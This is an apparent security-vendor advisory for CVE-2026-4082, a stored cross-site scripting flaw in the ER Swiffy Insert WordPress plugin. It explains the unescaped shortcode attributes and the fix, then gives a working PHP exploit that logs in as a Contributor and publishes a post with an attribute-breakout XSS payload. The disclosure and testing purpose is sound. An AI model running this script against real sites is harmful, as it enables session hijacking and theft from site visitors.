Atomic Edge analysis of CVE-2026-4082 (metadata-based):
This vulnerability affects the ER Swiffy Insert plugin for WordPress, up to version 1.0.0. It allows authenticated users with Contributor-level access or higher to inject stored cross-site scripting (XSS) payloads via the [swiffy] shortcode. The CVSS score is 6.4, reflecting a medium-severity issue with network attack vector, low attack complexity, and required authentication.
The root cause is insufficient input sanitization and output escaping on shortcode attributes. The plugin passes user-controlled attributes (‘n’, ‘w’, ‘h’) through PHP’s extract() function, which creates variables from the array keys. These variables are then injected directly into HTML output without using WordPress escaping functions like esc_attr(). Atomic Edge analysis confirms this by inference from the CWE-79 classification and the explicit description. No source code is available, but the attack pattern is standard for shortcode-based XSS.
An attacker with Contributor-level access can create a new post or page and insert the [swiffy] shortcode with malicious attributes. For example: [swiffy n='” onfocus=”alert(1)” autofocus=”‘ w=’100′ h=’100’]. The injected attribute value breaks out of the HTML context and executes JavaScript when the page loads. The shortcode processes the attributes without sanitization, storing the payload in the post content. Any user who views the compromised page will trigger the XSS payload.
A proper fix requires replacing extract() with direct array access and implementing escaping on each attribute value. Specifically, the plugin should use esc_attr() on the ‘n’, ‘w’, and ‘h’ values before outputting them into HTML. Additionally, extract() should be avoided entirely as it can lead to variable collision and unexpected behavior. Input validation should enforce that ‘w’ and ‘h’ are numeric values.
Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of any user viewing the compromised page. This can lead to session hijacking, credential theft, forced administrative actions (if an admin views the page), defacement, or redirection to malicious sites. The attack impacts both the site and its users, with partial loss of confidentiality and integrity.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-4082 - ER Swiffy Insert <= 1.0.0 - Authenticated (Contributor+) Stored XSS via Shortcode Attributes
// Configuration: Change these to match your target environment
$target_url = 'http://example.com'; // WordPress site URL
$username = 'contributor';
$password = 'contributor_password';
// Step 1: Login as a Contributor to get cookies
$login_url = $target_url . '/wp-login.php';
$login_data = array(
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_data));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
// Step 2: Get the WordPress nonce for creating posts
$admin_url = $target_url . '/wp-admin/post-new.php';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $admin_url);
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
// Extract the _wpnonce value from the response (simplified; adjust regex as needed)
preg_match('/<input[^>]+id="_wpnonce"[^>]+value="([^"]+)"/', $response, $matches);
$nonce = $matches[1] ?? '';
if (empty($nonce)) {
// Fallback: try to extract from the admin-ajax nonce
preg_match('/var ajaxurl = "[^"]+"[^;]+;.*?nonce = "([^"]+)"/s', $response, $matches);
$nonce = $matches[1] ?? '';
}
// Step 3: Create a new post with XSS payload in the shortcode
$post_url = $target_url . '/wp-admin/post.php';
$xss_payload = '" onfocus="alert(document.domain)" autofocus="';
$post_content = '[swiffy n="' . $xss_payload . '" w="100" h="100"]';
$post_data = array(
'_wpnonce' => $nonce,
'action' => 'editpost',
'post_type' => 'post',
'post_title' => 'Test XSS CVE-2026-4082',
'content' => $post_content,
'post_status' => 'publish',
'original_post_status' => 'auto-draft'
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $post_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookiejar.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
curl_close($ch);
echo "[+] Exploit attempt completed.n";
echo "[+] Check the target site for a new post titled 'Test XSS CVE-2026-4082'n";
echo "[+] If the post is visible and the XSS payload executes, the vulnerability is present.n";
?>
